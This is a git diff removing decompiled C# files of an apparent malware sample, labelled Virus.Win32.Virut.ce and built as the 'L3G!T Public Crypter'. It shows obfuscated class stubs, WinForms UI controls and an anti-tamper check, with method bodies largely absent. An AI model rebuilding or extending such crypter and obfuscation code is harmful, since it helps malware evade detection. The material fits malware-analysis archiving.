\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000010\u002D0("E_x86Required", (Exception) null); - int int32 = Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().ManifestModule).ToInt32(); - try - { - if (\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000012\u002D0(num.ToInt32(), int32)) - return; - Environment.Exit(1); - } - catch (Exception ex1) - { - try - { - if (\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000012\u002D0(num.ToInt32(), int32)) - return; - \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000010\u002D0("E_TamperDetected", ex1); - } - catch (InvalidOperationException ex2) - { - throw; - } - catch - { - \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000010\u002D0("E_TamperDetected", ex1); - } - } - } - } - - [SecuritySafeCritical] - private static bool \u0024\u0024method0x6000012\u002D0(int _param0, int _param1) - { - \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x600000C\u002D0(ref \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000014\u002D0, new IntPtr(_param1), _param0, ref \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000015\u002D0, new IntPtr(0)); - return true; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static void \u0024\u0024method0x6000013\u002D0(); -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹.cs deleted file mode 100644 index c55a1986..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using System; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -internal class ऄ\u0839 -{ - static string[] \u000A; - static byte[] \u000A; - static int[] \u000A; - static int \u000A; - static uint[] \u000A; - static uint[] \u000A = new uint[188]; - private static ऄ\u0839.A\u000A \u000A; - - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄ\u0839(); - - static ऄ\u0839() => RuntimeHelpers.InitializeArray((Array) ऄ\u0839.\u000A, __fieldref (ऄ\u0839.\u000A)); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string ऄࡀ(int _param0); - - [MethodImpl(MethodImplOptions.NoInlining)] - private static void ऄࡀ(bool _param0); - - [MethodImpl(MethodImplOptions.NoInlining)] - private static void ऄࡀ(uint[] _param0); - - [MethodImpl(MethodImplOptions.NoInlining)] - private static int ऄࡀ(Stream _param0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void ऄࡀ(); - - [StructLayout(LayoutKind.Explicit, Size = 752)] - private struct A\u000A - { - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄ࠹/ऄࡀ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄ࠹/ऄࡀ.cs deleted file mode 100644 index 13c84740..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄ࠹/ऄࡀ.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄ࠹.ऄ࠹.ऄࡀ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace ऄ\u0839.ऄ\u0839.ऄ\u0839 -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - [DebuggerNonUserCode] - [CompilerGenerated] - [StandardModule] - internal sealed class ऄࡀ - { - static ResourceManager \u000A; - static CultureInfo \u000A; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ऄࡁ { [MethodImpl(MethodImplOptions.NoInlining)] get; } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo ऄࡁ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡀ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡀ.cs deleted file mode 100644 index 694b96c4..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡀ.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄ࠹.ऄࡀ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace ऄ\u0839.ऄ\u0839 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class ऄࡀ : WindowsFormsApplicationBase - { - [DebuggerStepThrough] - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄࡀ(); - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void ऄࡁ(string[] _param0); - - [DebuggerStepThrough] - [MethodImpl(MethodImplOptions.NoInlining)] - protected override void OnCreateMainForm(); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡁ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡁ.cs deleted file mode 100644 index b9f030a6..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡁ.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄ࠹.ऄࡁ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace ऄ\u0839.ऄ\u0839 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class ऄࡁ : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄࡁ(); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡂ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡂ.cs deleted file mode 100644 index 64aa23d4..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡂ.cs +++ /dev/null @@ -1,142 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄ࠹.ऄࡂ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace ऄ\u0839.ऄ\u0839 -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class ऄࡂ - { - static readonly ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡁ<ऄ\u0839.ऄ\u0839.ऄࡁ> \u000A; - static readonly ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡁ<ऄ\u0839.ऄ\u0839.ऄࡀ> \u000A; - static readonly ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡁ \u000A; - static ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡁ<ऄ\u0839.ऄ\u0839.ऄࡂ.ऄ\u0839> \u000A; - static readonly ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡁ<ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡀ> \u000A; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.NoInlining)] - static ऄࡂ(); - - [HelpKeyword("My.Computer")] - internal static ऄ\u0839.ऄ\u0839.ऄࡁ ऄࡀ { [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get; } - - [HelpKeyword("My.Application")] - internal static ऄ\u0839.ऄ\u0839.ऄࡀ ऄࡀ { [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get; } - - [HelpKeyword("My.User")] - internal static User ऄࡀ { [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get; } - - [HelpKeyword("My.Forms")] - internal static ऄ\u0839.ऄ\u0839.ऄࡂ.ऄ\u0839 ऄࡀ { [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get; } - - [HelpKeyword("My.WebServices")] - internal static ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡀ ऄࡀ { [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get; } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class ऄࡀ - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄࡀ(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - public override bool Equals(object o); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - public override int GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining)] - internal System.Type ऄࡁ(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining)] - public override string ToString(); - - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining)] - private static T ऄࡁ(T _param0) where T : new(); - - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining)] - private void ऄࡁ(ref T _param1); - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ऄࡁ where T : new() - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄࡁ(); - - internal T ऄࡀ { [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get; } - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ऄ\u0839 - { - ऄ\u0839.ऄࡅ \u000A; - [ThreadStatic] - static Hashtable \u000A; - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄ\u0839(); - - public ऄ\u0839.ऄࡅ ऄࡀ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] set; } - - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining)] - private static T ऄࡀ(T _param0) where T : Form, new(); - - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining)] - private void ऄࡀ(ref T _param1) where T : Form; - - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - public override bool Equals(object o); - - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - public override int GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - internal System.Type ऄࡀ(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - public override string ToString(); - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡃ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡃ.cs deleted file mode 100644 index c882bf09..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡃ.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄ࠹.ऄࡃ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace ऄ\u0839.ऄ\u0839 -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class ऄࡃ : ApplicationSettingsBase - { - static ऄ\u0839.ऄ\u0839.ऄࡃ \u000A; - static bool \u000A; - static object \u000A; - - [MethodImpl(MethodImplOptions.NoInlining)] - static ऄࡃ(); - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄࡃ(); - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [MethodImpl(MethodImplOptions.NoInlining)] - private static void ऄࡀ(object _param0, EventArgs _param1); - - public static ऄ\u0839.ऄ\u0839.ऄࡃ ऄࡀ { [MethodImpl(MethodImplOptions.NoInlining)] get; } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡄ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡄ.cs deleted file mode 100644 index d04115fb..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡄ.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄ࠹.ऄࡄ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace ऄ\u0839.ऄ\u0839 -{ - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - [CompilerGenerated] - internal sealed class ऄࡄ - { - [HelpKeyword("My.Settings")] - internal static ऄ\u0839.ऄ\u0839.ऄࡃ ऄࡀ { [MethodImpl(MethodImplOptions.NoInlining)] get; } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡀ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡀ.cs deleted file mode 100644 index aee523c5..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡀ.cs +++ /dev/null @@ -1,114 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄࡀ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using System; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.Runtime.CompilerServices; -using System.Windows.Forms; -using ऄ\u0839; - -namespace ऄ\u0839 -{ - internal abstract class ऄࡀ : ContainerControl - { - Graphics \u000A; - bool \u000A; - bool \u000A; - int \u000A; - IntPtr \u000A; - bool \u000A; - bool \u000A; - bool \u000A; - bool \u000A; - Point \u000A; - ऄࡀ.ऄ\u0839 \u000A; - ऄࡀ.ऄ\u0839 \u000A; - Rectangle \u000A; - Color \u000A; - Image \u000A; - Size \u000A; - Rectangle \u000A; - LinearGradientBrush \u000A; - SolidBrush \u000A; - - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄࡀ(); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override void OnHandleCreated(EventArgs e); - - public override string Text { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; } - - public bool ऄࡁ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; } - - public int ऄࡁ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; } - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override void OnMouseDown(MouseEventArgs e); - - [MethodImpl(MethodImplOptions.NoInlining)] - private ऄࡀ.ऄ\u0839 ऄࡁ(); - - [MethodImpl(MethodImplOptions.NoInlining)] - private void ऄࡂ(); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override void OnMouseMove(MouseEventArgs e); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override void OnSizeChanged(EventArgs e); - - [MethodImpl(MethodImplOptions.NoInlining)] - public abstract void ऄࡃ(); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override sealed void OnPaint(PaintEventArgs e); - - public Color ऄࡁ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; } - - public Image ऄࡁ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; } - - public int ऄࡂ { [MethodImpl(MethodImplOptions.NoInlining)] get; } - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡁ(Color _param1, Rectangle _param2); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡁ(Pen _param1, Pen _param2, Rectangle _param3); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡁ(HorizontalAlignment _param1, Color _param2, int _param3); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡁ(HorizontalAlignment _param1, Color _param2, int _param3, int _param4); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡁ(HorizontalAlignment _param1, int _param2); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡁ(HorizontalAlignment _param1, int _param2, int _param3); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡁ( - Color _param1, - Color _param2, - int _param3, - int _param4, - int _param5, - int _param6, - float _param7); - - private struct ऄ\u0839 - { - readonly Cursor \u000A; - readonly byte \u000A; - - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄ\u0839(Cursor c, byte p); - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡁ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡁ.cs deleted file mode 100644 index 49500ab8..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡁ.cs +++ /dev/null @@ -1,103 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄࡁ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using System; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.Runtime.CompilerServices; -using System.Windows.Forms; -using ऄ\u0839; - -namespace ऄ\u0839 -{ - internal abstract class ऄࡁ : Control - { - Graphics \u000A; - Bitmap \u000A; - ऄࡁ.ऄ\u0839 \u000A; - bool \u000A; - Image \u000A; - Size \u000A; - Rectangle \u000A; - LinearGradientBrush \u000A; - SolidBrush \u000A; - - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄࡁ(); - - [MethodImpl(MethodImplOptions.NoInlining)] - public void ऄࡀ(); - - public override string Text { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; } - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override void OnMouseLeave(EventArgs e); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override void OnMouseEnter(EventArgs e); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override void OnMouseUp(MouseEventArgs e); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override void OnMouseDown(MouseEventArgs e); - - [MethodImpl(MethodImplOptions.NoInlining)] - private void ऄࡀ(ऄࡁ.ऄ\u0839 _param1); - - [MethodImpl(MethodImplOptions.NoInlining)] - public abstract void ऄࡂ(); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override sealed void OnPaint(PaintEventArgs e); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected override void OnSizeChanged(EventArgs e); - - public bool ऄࡀ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; } - - public Image ऄࡀ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; } - - public int ऄࡀ { [MethodImpl(MethodImplOptions.NoInlining)] get; } - - public int ऄࡂ { [MethodImpl(MethodImplOptions.NoInlining)] get; } - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡀ(Color _param1, Rectangle _param2); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡀ(Pen _param1, Pen _param2, Rectangle _param3); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡀ(HorizontalAlignment _param1, Color _param2, int _param3); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡀ(HorizontalAlignment _param1, Color _param2, int _param3, int _param4); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡀ(HorizontalAlignment _param1, int _param2); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡀ(HorizontalAlignment _param1, int _param2, int _param3); - - [MethodImpl(MethodImplOptions.NoInlining)] - protected void ऄࡀ( - Color _param1, - Color _param2, - int _param3, - int _param4, - int _param5, - int _param6, - float _param7); - - protected enum ऄ\u0839 : byte - { - \u000A, - \u000A, - \u000A, - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡂ.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡂ.cs deleted file mode 100644 index bc93972c..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡂ.cs +++ /dev/null @@ -1,56 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ऄ࠹.ऄࡂ -// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null -// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe - -using System; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace ऄ\u0839 -{ - internal abstract class ऄࡂ : ContainerControl - { - Graphics \u000A; - Bitmap \u000A; - bool \u000A; - Rectangle \u000A; - LinearGradientBrush \u000A; - - [MethodImpl(MethodImplOptions.NoInlining)] - public ऄࡂ(); - - 